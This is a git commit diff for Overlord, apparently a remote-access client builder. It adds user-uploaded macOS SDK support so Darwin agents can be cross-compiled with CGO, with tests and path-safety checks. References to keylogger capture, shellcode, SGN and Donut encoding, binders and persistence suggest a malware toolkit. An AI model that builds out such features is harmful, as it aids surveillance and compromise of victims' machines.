Add MAC CGO option.

This commit is contained in:
KingKDot
2026-07-15 23:26:41 -05:00
parent 9954d813c2
commit 5136a63e69
9 changed files with 403 additions and 7 deletions
+2 -2
View File
@@ -129,8 +129,7 @@ WORKDIR /app
# openssl/ca-certificates: TLS cert generation + HTTPS validation. # openssl/ca-certificates: TLS cert generation + HTTPS validation.
# wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads. # wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads.
# ffmpeg: server-side remote desktop recording encoder. # ffmpeg: server-side remote desktop recording encoder.
# clang: fallback C compiler for darwin/CGO agent builds (no toolchain mapping in # clang/lld: Darwin CGO cross-compiler/linker used with a user-uploaded macOS SDK.
# toolchain-manager.ts, so build-process.ts falls back to the default `cc`).
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,target=/var/lib/apt,sharing=locked \ --mount=type=cache,target=/var/lib/apt,sharing=locked \
apt-get update && apt-get install -y --no-install-recommends \ apt-get update && apt-get install -y --no-install-recommends \
@@ -143,6 +142,7 @@ RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
git \ git \
ffmpeg \ ffmpeg \
clang \ clang \
lld \
&& rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/*
# Reuse Go + garble from the builder so we don't re-download. # Reuse Go + garble from the builder so we don't re-download.
+78
View File
@@ -46,12 +46,69 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
const buildPluginsSection = document.getElementById("build-plugins-section"); const buildPluginsSection = document.getElementById("build-plugins-section");
const buildPluginsList = document.getElementById("build-plugins-list"); const buildPluginsList = document.getElementById("build-plugins-list");
const buildPluginsCount = document.getElementById("build-plugins-count"); const buildPluginsCount = document.getElementById("build-plugins-count");
const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
const macosSdkFileInput = document.getElementById("macos-sdk-file");
const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
const macosSdkFileStatus = document.getElementById("macos-sdk-file-status");
const macosSdkHostWarning = document.getElementById("macos-sdk-host-warning");
const macosSdkHostPlatform = document.getElementById("macos-sdk-host-platform");
let currentServerVersion = null; let currentServerVersion = null;
let currentUserRole = null; let currentUserRole = null;
let currentUsername = null; let currentUsername = null;
let showAllBuilds = false; let showAllBuilds = false;
let buildPlugins = []; let buildPlugins = [];
let macosSdkRequiredForDarwinCgo = false;
let macosSdkServerHost = null;
async function loadMacosSdkStatus() {
try {
const res = await fetch("/api/build/macos-sdk/status", { credentials: "include" });
if (!res.ok) return;
const data = await res.json();
macosSdkRequiredForDarwinCgo = data.requiredForDarwinCgo === true;
macosSdkServerHost = typeof data.hostPlatform === "string" ? data.hostPlatform : null;
} catch {}
updateMacosSdkVisibility();
}
function needsMacosSdkUpload() {
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
.some((input) => input.value.startsWith("darwin-"));
return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
}
function updateMacosSdkVisibility() {
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
.some((input) => input.value.startsWith("darwin-"));
const cgoEnabled = !document.querySelector('input[name="disable-cgo"]')?.checked;
macosSdkUploadSection?.classList.toggle("hidden", !needsMacosSdkUpload());
const unsupportedHost = hasDarwin && cgoEnabled && !!macosSdkServerHost && macosSdkServerHost !== "linux" && macosSdkServerHost !== "darwin";
macosSdkHostWarning?.classList.toggle("hidden", !unsupportedHost);
if (macosSdkHostPlatform && unsupportedHost) macosSdkHostPlatform.textContent = macosSdkServerHost;
}
async function uploadMacosSdk() {
const file = macosSdkFileInput?.files?.[0];
if (!file) throw new Error("Select a macOS SDK archive for this Darwin CGO build");
if (!macosSdkRightsInput?.checked) throw new Error("Confirm that you have permission to use the uploaded macOS SDK");
if (file.size > 1024 * 1024 * 1024) throw new Error("macOS SDK archive exceeds the 1 GB limit");
if (macosSdkFileStatus) macosSdkFileStatus.textContent = `Uploading ${file.name} (${formatFileSize(file.size)})...`;
const res = await fetch("/api/build/macos-sdk/upload", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/octet-stream",
"X-Overlord-Filename": encodeURIComponent(file.name),
"X-Overlord-Sdk-Rights": "confirmed",
},
body: file,
});
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || "macOS SDK upload failed");
if (macosSdkFileStatus) macosSdkFileStatus.textContent = `${file.name} uploaded; validating during the build.`;
return data.uploadId;
}
async function loadSolRpcEndpoints() { async function loadSolRpcEndpoints() {
const field = document.getElementById("sol-rpc-endpoints"); const field = document.getElementById("sol-rpc-endpoints");
@@ -895,6 +952,7 @@ restoreFormSettings();
initAccordions(); initAccordions();
initBuilderTabs(); initBuilderTabs();
loadBuildPlugins(); loadBuildPlugins();
loadMacosSdkStatus();
updateWindowsSectionVisibility(); updateWindowsSectionVisibility();
updateShellcodeCheckboxVisibility(); updateShellcodeCheckboxVisibility();
init(); init();
@@ -1073,6 +1131,13 @@ platformInputs.forEach((input) => {
input.addEventListener("change", updatePersistenceSettingsVisibility); input.addEventListener("change", updatePersistenceSettingsVisibility);
input.addEventListener("change", updateWindowsSectionVisibility); input.addEventListener("change", updateWindowsSectionVisibility);
input.addEventListener("change", updateIosSectionVisibility); input.addEventListener("change", updateIosSectionVisibility);
input.addEventListener("change", updateMacosSdkVisibility);
});
document.querySelector('input[name="disable-cgo"]')?.addEventListener("change", updateMacosSdkVisibility);
macosSdkFileInput?.addEventListener("change", () => {
const file = macosSdkFileInput.files?.[0];
if (macosSdkFileStatus && file) macosSdkFileStatus.textContent = `${file.name} selected (${formatFileSize(file.size)}).`;
}); });
document.getElementById("startup-name")?.addEventListener("input", validateStartupName); document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
@@ -1738,6 +1803,14 @@ form?.addEventListener("submit", async (e) => {
return; return;
} }
if (needsMacosSdkUpload() && (!macosSdkFileInput?.files?.[0] || !macosSdkRightsInput?.checked)) {
alert(!macosSdkFileInput?.files?.[0]
? "Select a macOS SDK archive for this Darwin CGO build."
: "Confirm that you have permission to use the uploaded macOS SDK.");
macosSdkFileInput?.focus();
return;
}
const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
const serverUrlRaw = form.querySelector("#server-url").value.trim(); const serverUrlRaw = form.querySelector("#server-url").value.trim();
const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw); const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw);
@@ -1919,6 +1992,11 @@ async function startBuild(config) {
addBuildOutput("Starting build process...\n", "info"); addBuildOutput("Starting build process...\n", "info");
try { try {
if (needsMacosSdkUpload()) {
buildStatusText.textContent = "Uploading macOS SDK...";
addBuildOutput("Uploading user-provided macOS SDK...\n", "info");
config.macosSdkUploadId = await uploadMacosSdk();
}
const res = await fetch("/api/build/start", { const res = await fetch("/api/build/start", {
method: "POST", method: "POST",
headers: { headers: {
+23 -2
View File
@@ -407,11 +407,11 @@
</label> </label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors"> <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
<input type="checkbox" name="platform" value="darwin-amd64" class="w-4 h-4" /> <input type="checkbox" name="platform" value="darwin-amd64" class="w-4 h-4" />
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span> <span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64 <span class="text-[10px] text-slate-500">SDK upload</span></span>
</label> </label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors"> <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
<input type="checkbox" name="platform" value="darwin-arm64" class="w-4 h-4" /> <input type="checkbox" name="platform" value="darwin-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span> <span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64 <span class="text-[10px] text-slate-500">SDK upload</span></span>
</label> </label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors"> <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
<input type="checkbox" name="platform" value="freebsd-amd64" class="w-4 h-4" /> <input type="checkbox" name="platform" value="freebsd-amd64" class="w-4 h-4" />
@@ -442,6 +442,27 @@
<span><i class="fa-brands fa-apple text-slate-200"></i> iOS Simulator x64</span> <span><i class="fa-brands fa-apple text-slate-200"></i> iOS Simulator x64</span>
</label> </label>
</div> </div>
<div id="macos-sdk-upload-section" class="hidden mt-3 p-4 bg-blue-950/30 border border-blue-700/60 rounded-lg">
<div class="flex items-start gap-3">
<i class="fa-brands fa-apple text-blue-300 mt-1"></i>
<div class="min-w-0 flex-1">
<label class="block text-sm font-medium text-slate-100" for="macos-sdk-file">Upload macOS SDK for CGO</label>
<p class="text-xs text-slate-400 mt-1">This Linux/Docker server needs your SDK to compile the selected macOS target with CGO. The upload is used once and deleted after the build.</p>
<input id="macos-sdk-file" type="file" accept=".tar,.tar.gz,.tgz,.tar.xz,.txz,application/x-tar,application/gzip,application/x-xz"
class="mt-3 block w-full text-sm text-slate-300 file:mr-3 file:rounded file:border-0 file:bg-blue-700 file:px-3 file:py-2 file:text-white hover:file:bg-blue-600" />
<p id="macos-sdk-file-status" class="text-xs text-slate-400 mt-1">Choose your <code>.tar.xz</code>, <code>.tar.gz</code>, or <code>.tar</code> archive (maximum 1 GB). It must contain <code>MacOSX*.sdk/System</code> and <code>MacOSX*.sdk/usr</code>.</p>
<label class="mt-3 flex items-start gap-2 text-xs text-slate-300 cursor-pointer">
<input id="macos-sdk-rights" type="checkbox" class="w-4 h-4 mt-0.5 shrink-0" />
<span>I confirm that I obtained this SDK lawfully and have permission to use it for this build.</span>
</label>
</div>
</div>
</div>
<div id="macos-sdk-host-warning" class="hidden mt-3 p-3 bg-amber-950/30 border border-amber-700/50 rounded-lg text-xs text-amber-300">
<i class="fa-solid fa-triangle-exclamation mr-1"></i>
SDK-assisted macOS CGO cross-compilation is available when the server runs on Linux/Docker. This server is running on <span id="macos-sdk-host-platform" class="font-mono"></span>.
</div>
</div> </div>
</div> </div>
</div> </div>
+1
View File
@@ -17,6 +17,7 @@ export type BuildConfig = {
disableMutex?: boolean; disableMutex?: boolean;
stripDebug?: boolean; stripDebug?: boolean;
disableCgo?: boolean; disableCgo?: boolean;
macosSdkUploadId?: string;
enableNvenc?: boolean; enableNvenc?: boolean;
enableAmf?: boolean; enableAmf?: boolean;
enableQsv?: boolean; enableQsv?: boolean;
+33 -3
View File
@@ -23,6 +23,7 @@ import { buildLinuxShellcode } from "./linux-shellcode-manager";
import { runSgn } from "./sgn-manager"; import { runSgn } from "./sgn-manager";
import { resolveContainedPath } from "./upload-security"; import { resolveContainedPath } from "./upload-security";
import { createIsolatedBuildEnv } from "./build-environment"; import { createIsolatedBuildEnv } from "./build-environment";
import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
function isClientModuleDir(dir: string): boolean { function isClientModuleDir(dir: string): boolean {
return ( return (
@@ -134,6 +135,8 @@ type BuildProcessConfig = {
fetchPublicIP?: boolean; fetchPublicIP?: boolean;
uploadToFileShare?: boolean; uploadToFileShare?: boolean;
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>; buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
macosSdkArchivePath?: string;
macosSdkUploadDir?: string;
}; };
type BuildHookRunner = ( type BuildHookRunner = (
@@ -600,6 +603,7 @@ export async function startBuildProcess(
let binderGenPath: string | null = null; let binderGenPath: string | null = null;
let binderFilesDir: string | null = null; let binderFilesDir: string | null = null;
let binderLockPath: string | null = null; let binderLockPath: string | null = null;
let macosSdkRoot: string | null = null;
const buildStartedAt = Date.now(); const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => { const keepAliveTimer = setInterval(() => {
@@ -662,6 +666,21 @@ export async function startBuildProcess(
sendToStream({ type: "output", text: `Stub version: ${agentVersion}\n`, level: "info" }); sendToStream({ type: "output", text: `Stub version: ${agentVersion}\n`, level: "info" });
sendToStream({ type: "output", text: `Client build cache: ${cacheRoot}\n`, level: "info" }); sendToStream({ type: "output", text: `Client build cache: ${cacheRoot}\n`, level: "info" });
if (config.macosSdkArchivePath && config.macosSdkUploadDir) {
sendToStream({ type: "status", text: "Validating uploaded macOS SDK..." });
macosSdkRoot = await extractAndValidateMacosSdk({
id: path.basename(config.macosSdkUploadDir),
userId: config.builtByUserId || 0,
filename: path.basename(config.macosSdkArchivePath),
size: fs.statSync(config.macosSdkArchivePath).size,
createdAt: Date.now(),
claimed: true,
archivePath: config.macosSdkArchivePath,
uploadDir: config.macosSdkUploadDir,
});
sendToStream({ type: "output", text: `Uploaded macOS SDK ready: ${path.basename(macosSdkRoot)}\n`, level: "info" });
}
const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p)); const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
if (platformsToBuild.length !== (config.platforms || []).length) { if (platformsToBuild.length !== (config.platforms || []).length) {
throw new Error("One or more requested platforms are not allowed"); throw new Error("One or more requested platforms are not allowed");
@@ -1090,12 +1109,13 @@ func runBoundFiles() {
effectiveOs === "darwin" && effectiveOs === "darwin" &&
!isIosTarget && !isIosTarget &&
process.platform !== "darwin" && process.platform !== "darwin" &&
env.CGO_ENABLED === "1" env.CGO_ENABLED === "1" &&
!(process.platform === "linux" && macosSdkRoot)
) { ) {
env.CGO_ENABLED = "0"; env.CGO_ENABLED = "0";
sendToStream({ sendToStream({
type: "output", type: "output",
text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support (keylogger keystroke capture requires CGO).\n", text: "WARNING: Cross-compiling to darwin from this host requires a supported macOS SDK toolchain. Forcing CGO disabled for this target.\n",
level: "warn", level: "warn",
}); });
} }
@@ -1105,7 +1125,16 @@ func runBoundFiles() {
let cxx: string | undefined; let cxx: string | undefined;
let extraBinDir: string | undefined; let extraBinDir: string | undefined;
if (os === "android" && ndkBin) { if (effectiveOs === "darwin" && !isIosTarget && process.platform === "linux" && macosSdkRoot) {
const triple = actualArch === "arm64" ? "arm64-apple-macos11" : "x86_64-apple-macos11";
const quotedSdk = JSON.stringify(macosSdkRoot);
cc = `clang --target=${triple} -isysroot ${quotedSdk} -mmacosx-version-min=11.0`;
cxx = `clang++ --target=${triple} -isysroot ${quotedSdk} -mmacosx-version-min=11.0`;
env.CGO_CFLAGS = `-isysroot ${quotedSdk} -mmacosx-version-min=11.0`;
env.CGO_CXXFLAGS = env.CGO_CFLAGS;
env.CGO_LDFLAGS = `${env.CGO_CFLAGS} -fuse-ld=lld`;
sendToStream({ type: "output", text: `Darwin CGO cross-toolchain: ${triple} with uploaded SDK\n`, level: "info" });
} else if (os === "android" && ndkBin) {
const ndkCcByTarget: Record<string, string> = { const ndkCcByTarget: Record<string, string> = {
"android/amd64": "x86_64-linux-android21-clang", "android/amd64": "x86_64-linux-android21-clang",
"android/arm64": "aarch64-linux-android21-clang", "android/arm64": "aarch64-linux-android21-clang",
@@ -2263,5 +2292,6 @@ func runBoundFiles() {
if (binderLockPath) { if (binderLockPath) {
try { fs.unlinkSync(binderLockPath); } catch {} try { fs.unlinkSync(binderLockPath); } catch {}
} }
cleanupMacosSdkUpload(config.macosSdkUploadDir);
} }
} }
@@ -0,0 +1,44 @@
import { describe, expect, test } from "bun:test";
import {
claimMacosSdkUpload,
cleanupMacosSdkUpload,
stageMacosSdkUpload,
} from "./macos-sdk-manager";
function uploadRequest(body = "archive", overrides: Record<string, string> = {}): Request {
return new Request("http://localhost/api/build/macos-sdk/upload", {
method: "POST",
headers: {
"content-type": "application/octet-stream",
"x-overlord-filename": "MacOSX26.5.sdk.tar.xz",
"x-overlord-sdk-rights": "confirmed",
...overrides,
},
body,
});
}
describe("macOS SDK uploads", () => {
test("requires the user rights confirmation", async () => {
await expect(stageMacosSdkUpload(uploadRequest("archive", { "x-overlord-sdk-rights": "" }), 7))
.rejects.toThrow("right to use");
});
test("rejects unsupported archive formats", async () => {
await expect(stageMacosSdkUpload(uploadRequest("archive", { "x-overlord-filename": "MacOSX.sdk.zip" }), 7))
.rejects.toThrow(".tar");
});
test("is user-owned and can only be claimed once", async () => {
const upload = await stageMacosSdkUpload(uploadRequest(), 41);
let claimed: ReturnType<typeof claimMacosSdkUpload> | undefined;
try {
expect(() => claimMacosSdkUpload(upload.id, 42)).toThrow("not found");
claimed = claimMacosSdkUpload(upload.id, 41);
expect(claimed.size).toBe(7);
expect(() => claimMacosSdkUpload(upload.id, 41)).toThrow("already been used");
} finally {
cleanupMacosSdkUpload(claimed?.uploadDir);
}
});
});
@@ -0,0 +1,183 @@
import fs from "fs";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { ensureDataDir } from "../paths";
const MAX_ARCHIVE_BYTES = 1024 * 1024 * 1024;
const UPLOAD_TTL_MS = 60 * 60 * 1000;
const ID_RE = /^[0-9a-f-]{36}$/i;
type UploadMetadata = {
id: string;
userId: number;
filename: string;
size: number;
createdAt: number;
claimed: boolean;
};
export type ClaimedMacosSdk = UploadMetadata & { archivePath: string; uploadDir: string };
function uploadRoot(): string {
return path.join(ensureDataDir(), "macos-sdk-uploads");
}
function safeArchiveName(value: string): string {
const decoded = (() => { try { return decodeURIComponent(value); } catch { return value; } })();
return path.basename(decoded).replace(/[^A-Za-z0-9._+-]/g, "_").slice(0, 160) || "MacOSX.sdk.tar.xz";
}
function supportedArchive(name: string): boolean {
return /\.(?:tar|tar\.gz|tgz|tar\.xz|txz)$/i.test(name);
}
function readMetadata(dir: string): UploadMetadata | null {
try { return JSON.parse(fs.readFileSync(path.join(dir, "metadata.json"), "utf8")); } catch { return null; }
}
export function purgeExpiredMacosSdkUploads(now = Date.now()): void {
const root = uploadRoot();
if (!fs.existsSync(root)) return;
for (const entry of fs.readdirSync(root, { withFileTypes: true })) {
if (!entry.isDirectory() || !ID_RE.test(entry.name)) continue;
const dir = path.join(root, entry.name);
const metadata = readMetadata(dir);
if (!metadata || (!metadata.claimed && now - metadata.createdAt > UPLOAD_TTL_MS)) {
try { fs.rmdirSync(dir, { recursive: true }); } catch {}
}
}
}
export async function stageMacosSdkUpload(req: Request, userId: number): Promise<UploadMetadata> {
purgeExpiredMacosSdkUploads();
if (req.headers.get("x-overlord-sdk-rights") !== "confirmed") {
throw new Error("You must confirm that you have the right to use the uploaded macOS SDK");
}
const filename = safeArchiveName(req.headers.get("x-overlord-filename") || "");
if (!supportedArchive(filename)) {
throw new Error("SDK must be a .tar, .tar.gz, .tgz, .tar.xz, or .txz archive");
}
const declaredSize = Number(req.headers.get("content-length") || 0);
if (declaredSize > MAX_ARCHIVE_BYTES) throw new Error("SDK archive exceeds the 1 GB limit");
if (!req.body) throw new Error("SDK archive is empty");
const id = uuidv4();
const dir = path.join(uploadRoot(), id);
const archivePath = path.join(dir, filename);
fs.mkdirSync(dir, { recursive: true });
const writer = fs.createWriteStream(archivePath, { flags: "wx", mode: 0o600 });
let size = 0;
try {
const reader = req.body.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) break;
size += value.byteLength;
if (size > MAX_ARCHIVE_BYTES) throw new Error("SDK archive exceeds the 1 GB limit");
if (!writer.write(Buffer.from(value))) await new Promise<void>((resolve) => writer.once("drain", resolve));
}
await new Promise<void>((resolve, reject) => writer.end((err?: Error | null) => err ? reject(err) : resolve()));
if (size === 0) throw new Error("SDK archive is empty");
const metadata: UploadMetadata = { id, userId, filename, size, createdAt: Date.now(), claimed: false };
fs.writeFileSync(path.join(dir, "metadata.json"), JSON.stringify(metadata), { mode: 0o600 });
return metadata;
} catch (error) {
writer.destroy();
try { fs.rmdirSync(dir, { recursive: true }); } catch {}
throw error;
}
}
export function claimMacosSdkUpload(id: unknown, userId: number): ClaimedMacosSdk {
if (typeof id !== "string" || !ID_RE.test(id)) throw new Error("A valid macOS SDK upload is required");
const dir = path.join(uploadRoot(), id);
const metadata = readMetadata(dir);
if (!metadata || metadata.id !== id || metadata.userId !== userId || metadata.claimed) {
throw new Error("macOS SDK upload was not found, expired, or has already been used");
}
if (Date.now() - metadata.createdAt > UPLOAD_TTL_MS) {
try { fs.rmdirSync(dir, { recursive: true }); } catch {}
throw new Error("macOS SDK upload expired; please upload it again");
}
metadata.claimed = true;
fs.writeFileSync(path.join(dir, "metadata.json"), JSON.stringify(metadata), { mode: 0o600 });
return { ...metadata, archivePath: path.join(dir, metadata.filename), uploadDir: dir };
}
function archiveEntryIsSafe(entry: string): boolean {
const normalized = entry.trim().replace(/\\/g, "/");
if (!normalized || normalized.startsWith("/") || /^[A-Za-z]:\//.test(normalized)) return false;
return !normalized.split("/").some((part) => part === "..");
}
async function run(command: string[]): Promise<{ exitCode: number; stdout: string; stderr: string }> {
const proc = Bun.spawn(command, { stdout: "pipe", stderr: "pipe" });
const [exitCode, stdout, stderr] = await Promise.all([
proc.exited,
new Response(proc.stdout).text(),
new Response(proc.stderr).text(),
]);
return { exitCode, stdout, stderr };
}
function findSdkRoot(root: string): string | null {
const queue = [{ dir: root, depth: 0 }];
while (queue.length) {
const current = queue.shift()!;
const frameworks = path.join(current.dir, "System", "Library", "Frameworks");
const usr = path.join(current.dir, "usr");
if (fs.existsSync(frameworks) && fs.existsSync(usr)) return current.dir;
if (current.depth >= 3) continue;
for (const entry of fs.readdirSync(current.dir, { withFileTypes: true })) {
if (entry.isDirectory()) queue.push({ dir: path.join(current.dir, entry.name), depth: current.depth + 1 });
}
}
return null;
}
export async function extractAndValidateMacosSdk(claim: ClaimedMacosSdk): Promise<string> {
const extractDir = path.join(claim.uploadDir, "extracted");
fs.mkdirSync(extractDir, { recursive: true });
const listing = await run(["tar", "-tf", claim.archivePath]);
if (listing.exitCode !== 0) throw new Error(`Unable to read macOS SDK archive: ${listing.stderr.trim()}`);
const entries = listing.stdout.split(/\r?\n/).filter(Boolean);
if (!entries.length || entries.some((entry) => !archiveEntryIsSafe(entry))) {
throw new Error("macOS SDK archive contains an unsafe or invalid path");
}
const extracted = await run(["tar", "-xf", claim.archivePath, "-C", extractDir, "--no-same-owner", "--no-same-permissions"]);
if (extracted.exitCode !== 0) throw new Error(`Unable to extract macOS SDK archive: ${extracted.stderr.trim()}`);
const realRoot = fs.realpathSync(extractDir);
const verifyLinks = (dir: string) => {
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
const item = path.join(dir, entry.name);
if (entry.isSymbolicLink()) {
const target = fs.readlinkSync(item);
const lexicalTarget = path.resolve(path.dirname(item), target);
if (path.isAbsolute(target) || (lexicalTarget !== realRoot && !lexicalTarget.startsWith(realRoot + path.sep))) {
throw new Error("macOS SDK archive contains a symlink outside the SDK");
}
try {
const resolved = fs.realpathSync(item);
if (resolved !== realRoot && !resolved.startsWith(realRoot + path.sep)) {
throw new Error("macOS SDK archive contains a symlink outside the SDK");
}
} catch (error: any) {
if (error?.message?.includes("outside the SDK")) throw error;
// SDK archives can contain intentionally dangling relative compatibility links.
}
} else if (entry.isDirectory()) verifyLinks(item);
}
};
verifyLinks(extractDir);
const sdkRoot = findSdkRoot(extractDir);
if (!sdkRoot) throw new Error("Archive does not contain a macOS SDK (expected System/Library/Frameworks and usr)");
return sdkRoot;
}
export function cleanupMacosSdkUpload(uploadDir: string | undefined): void {
if (!uploadDir) return;
const resolved = path.resolve(uploadDir);
const root = path.resolve(uploadRoot());
if (path.dirname(resolved) !== root) return;
try { fs.rmdirSync(resolved, { recursive: true }); } catch {}
}
@@ -30,6 +30,7 @@ import { createUploadPull } from "../file-transfer-state";
import { handleBuildProfileRoutes } from "./build-profile-routes"; import { handleBuildProfileRoutes } from "./build-profile-routes";
import { sanitizeInitialClientTag } from "../build-config-sanitize"; import { sanitizeInitialClientTag } from "../build-config-sanitize";
import { getSolRpcEndpointUrls, normalizeSolRpcUrls } from "../../sol-rpc-endpoints"; import { getSolRpcEndpointUrls, normalizeSolRpcUrls } from "../../sol-rpc-endpoints";
import { claimMacosSdkUpload, stageMacosSdkUpload } from "../macos-sdk-manager";
type RequestIpProvider = { type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined; requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -142,6 +143,25 @@ export async function handleBuildRoutes(
return new Response("Unauthorized", { status: 401 }); return new Response("Unauthorized", { status: 401 });
} }
if (req.method === "GET" && url.pathname === "/api/build/macos-sdk/status") {
requirePermission(user, "clients:build");
return Response.json({
requiredForDarwinCgo: process.platform === "linux",
hostPlatform: process.platform,
maxArchiveBytes: 1024 * 1024 * 1024,
});
}
if (req.method === "POST" && url.pathname === "/api/build/macos-sdk/upload") {
requirePermission(user, "clients:build");
try {
const upload = await stageMacosSdkUpload(req, user.userId);
return Response.json({ uploadId: upload.id, filename: upload.filename, size: upload.size });
} catch (error: any) {
return Response.json({ error: error?.message || "Unable to upload macOS SDK" }, { status: 400 });
}
}
if (req.method === "POST" && url.pathname === "/api/build/start") { if (req.method === "POST" && url.pathname === "/api/build/start") {
requirePermission(user, "clients:build"); requirePermission(user, "clients:build");
@@ -217,6 +237,7 @@ export async function handleBuildRoutes(
uploadToFileShare, uploadToFileShare,
initialClientTag, initialClientTag,
buildPlugins, buildPlugins,
macosSdkUploadId,
} = body; } = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -416,6 +437,7 @@ export async function handleBuildRoutes(
{ status: 400 }, { status: 400 },
); );
} }
const needsMacosSdk = hasDarwinTarget && !disableCgo && process.platform === "linux";
if (safeOutputSgnTxt) { if (safeOutputSgnTxt) {
const hasSgnCapableTarget = allowedPlatforms.some((p) => const hasSgnCapableTarget = allowedPlatforms.some((p) =>
(!!useDonut && p.startsWith("windows-")) || (!!useDonut && p.startsWith("windows-")) ||
@@ -555,6 +577,17 @@ export async function handleBuildRoutes(
} }
safeBuildConfig.buildPlugins = pluginBuildResult.value; safeBuildConfig.buildPlugins = pluginBuildResult.value;
if (needsMacosSdk) {
try {
const claimedMacosSdk = claimMacosSdkUpload(macosSdkUploadId, user.userId);
safeBuildConfig.macosSdkArchivePath = claimedMacosSdk.archivePath;
safeBuildConfig.macosSdkUploadDir = claimedMacosSdk.uploadDir;
} catch (error: any) {
if (rateLimitActive) recordBuildEnd(user.userId);
return Response.json({ error: error?.message || "A macOS SDK upload is required for Darwin CGO builds" }, { status: 400 });
}
}
deps.startBuildProcess(buildId, safeBuildConfig).finally(() => { deps.startBuildProcess(buildId, safeBuildConfig).finally(() => {
if (rateLimitActive) recordBuildEnd(user.userId); if (rateLimitActive) recordBuildEnd(user.userId);
}); });
+6
View File
@@ -499,6 +499,12 @@ The compose setup uses a persistent volume for runtime client builds:
- Mount: `/app/client-build-cache` - Mount: `/app/client-build-cache`
- Env: `OVERLORD_CLIENT_BUILD_CACHE_DIR` (default `/app/client-build-cache`) - Env: `OVERLORD_CLIENT_BUILD_CACHE_DIR` (default `/app/client-build-cache`)
### macOS CGO builds on Linux/Docker
When a macOS target is selected with CGO enabled, the builder asks for a user-provided macOS SDK archive. Package the complete `MacOSX*.sdk` directory as `.tar.xz`, `.tar.gz`, `.tgz`, or `.tar` and upload it from the Build page. The archive must contain the SDK's `System/Library/Frameworks` and `usr` directories.
The upload is limited to 1 GB, belongs to the authenticated user, can be used for only one build, and is deleted after the build. Unused uploads expire after one hour. The Docker image supplies Clang and LLD; Apple SDK files are never bundled or downloaded by Overlord.
### Certbot TLS ### Certbot TLS
To use Let's Encrypt certificates in production Docker: To use Let's Encrypt certificates in production Docker: